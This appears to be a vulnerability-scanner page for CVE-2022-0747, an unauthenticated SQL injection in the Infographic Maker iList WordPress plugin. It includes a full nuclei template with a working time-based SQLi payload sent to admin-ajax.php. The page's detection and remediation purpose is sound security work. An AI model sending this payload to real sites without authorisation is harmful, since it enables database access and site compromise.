Infographic Maker iList < 4.3.8 - SQL Injection

criticalseverity

9.8CVSS score

14.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

The Infographic Maker WordPress plugin before 4.3.8 does not validate and escape the post_id parameter before using it in a SQL statement via the qcld_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.

Fix

Fixed in version 4.3.8

How to confirm it

Send: @timeout: 20s ; GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js
Positive when: duration_1>=6 and status_code_2 == 200 and contains(content_type_2, "text/javascript") and contains(body_2, "show_ilist_templates")

Run it with nuclei: nuclei -id CVE-2022-0747 -u <target>

The full check

id: CVE-2022-0747

info:
  name: Infographic Maker iList < 4.3.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Infographic Maker WordPress plugin before 4.3.8 does not validate and escape the post_id parameter before using it in a SQL statement via the qcld_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
  remediation: Fixed in version 4.3.8
  reference:
    - https://wpscan.com/vulnerability/a8575322-c2cf-486a-9c37-71a22167aac3
    - https://wordpress.org/plugins/infographic-and-list-builder-ilist/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0747
    - https://plugins.trac.wordpress.org/changeset/2684336
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0747
    cwe-id: CWE-89
    epss-score: 0.14882
    epss-percentile: 0.96723
    cpe: cpe:2.3:a:quantumcloud:infographic_maker:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: quantumcloud
    product: infographic_maker
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,infographic-and-list-builder-ilist,wpscan,quantumcloud,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qcld_upvote_action&post_id=1+AND+(SELECT+1626+FROM+(SELECT(SLEEP(6)))niPH)
      - |
        GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/javascript")'
          - 'contains(body_2, "show_ilist_templates")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from